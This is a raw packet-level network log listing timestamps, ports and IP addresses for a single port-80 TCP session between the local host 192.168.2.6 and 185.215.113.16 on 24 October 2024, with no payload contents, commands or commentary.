Oct 24, 2024 18:09:20.149509907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149535894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149832964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149867058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149899006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149904013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.149920940 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.149945974 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.150765896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.150818110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.150826931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.150855064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.150870085 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.150890112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.150899887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.150940895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.157433033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.157478094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.157527924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.157540083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.157551050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.157668114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.185483932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185502052 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185516119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185539007 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185554981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185570955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.185579062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.185759068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.185759068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.186235905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.186338902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.186386108 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266577005 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266628027 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266664028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266697884 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266731977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266766071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266801119 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266834021 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266832113 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266838074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266839027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266868114 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.266921997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266921997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.266921997 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.267745972 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.267781019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.267802000 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.267816067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.267824888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.267869949 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.274504900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.274521112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.274534941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.274610043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.303172112 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.303195000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.303210974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.303225040 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.303242922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.303332090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.305094957 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.347187042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.347239971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.347279072 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.347311020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.347368002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.383413076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383438110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383455038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383469105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383485079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383501053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383512020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.383512020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.383512020 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.383517981 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.383559942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.383560896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.384330988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.384346962 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.384382010 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.385001898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.385018110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.385032892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.385081053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.385158062 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.391343117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.391359091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.391374111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.391411066 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.391443014 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.419821024 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.419855118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.419888020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.419914961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.419920921 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.419941902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.419960022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.419976950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.420022964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.420229912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.420258045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.420270920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.420298100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.463428974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.463459969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.463476896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.463494062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.463716984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.500083923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500098944 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500113964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500127077 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500142097 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500206947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.500566959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500592947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500606060 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.500616074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.500653982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.500653982 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.501745939 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.501769066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.501784086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.501821041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.501853943 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.507996082 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.508024931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.508058071 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.508064985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.508064985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.508090973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.508131027 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.508131981 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536489010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536523104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536554098 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536612034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536612034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536612034 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536683083 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536715984 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536750078 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.536765099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536765099 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.536796093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.581187010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.581209898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.581227064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.581448078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617163897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617209911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617249012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617280006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617283106 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617309093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617319107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617353916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617372036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617392063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617397070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617615938 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.617863894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.617921114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618252039 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618282080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618309021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618333101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618381977 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618415117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618437052 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618448973 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618458033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618483067 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.618508101 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.618526936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.625116110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.625209093 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.625224113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.625260115 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.625281096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.625324965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.654251099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.654272079 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.654288054 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.654304028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.654366016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.654467106 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.700761080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.700892925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.701097012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.701179028 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.701524019 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.701538086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.701575994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.701603889 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.734018087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734082937 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734103918 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734121084 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734173059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734205961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734206915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.734234095 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.734241009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734251022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.734277964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.734291077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.734328985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735225916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735260010 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735284090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735294104 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735306978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735346079 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735347033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735397100 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735474110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735529900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.735601902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.735661030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.741861105 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.741919041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.741923094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.741955996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.741974115 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.741990089 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.742012024 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.742027044 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.742052078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.742086887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.771213055 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.771234035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.771251917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.771286964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.771287918 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.771334887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.815180063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.815223932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.815258026 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.815408945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.850848913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.850910902 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.850948095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.850980997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.851016045 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.851077080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.851159096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.851394892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.851428986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.851461887 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.851574898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.852250099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.852283955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.852304935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.852319002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.852334023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.852353096 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.852359056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.852387905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.852395058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.852441072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.860740900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.860778093 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.860811949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.860843897 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.860877991 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.860922098 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.861026049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.861059904 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.861094952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.861097097 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.861242056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.888807058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.888823986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.888838053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.888948917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.888967037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.931981087 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.932019949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.932035923 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.932044029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.932050943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.932071924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.932071924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.932091951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969121933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969168901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969199896 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969204903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969238997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969242096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969242096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969275951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969280958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969317913 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969363928 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969408989 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969824076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969857931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969871998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969892979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.969897985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.969935894 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.970097065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.970132113 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.970144033 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.970172882 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980444908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980463028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980479002 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980494022 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980494976 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980506897 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980510950 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980516911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980535984 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980551958 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980884075 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980901003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980917931 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980931997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980938911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980938911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980947971 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:20.980950117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980973959 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:20.980990887 CEST	49997	80	192.168.2.6	185.215.113.16
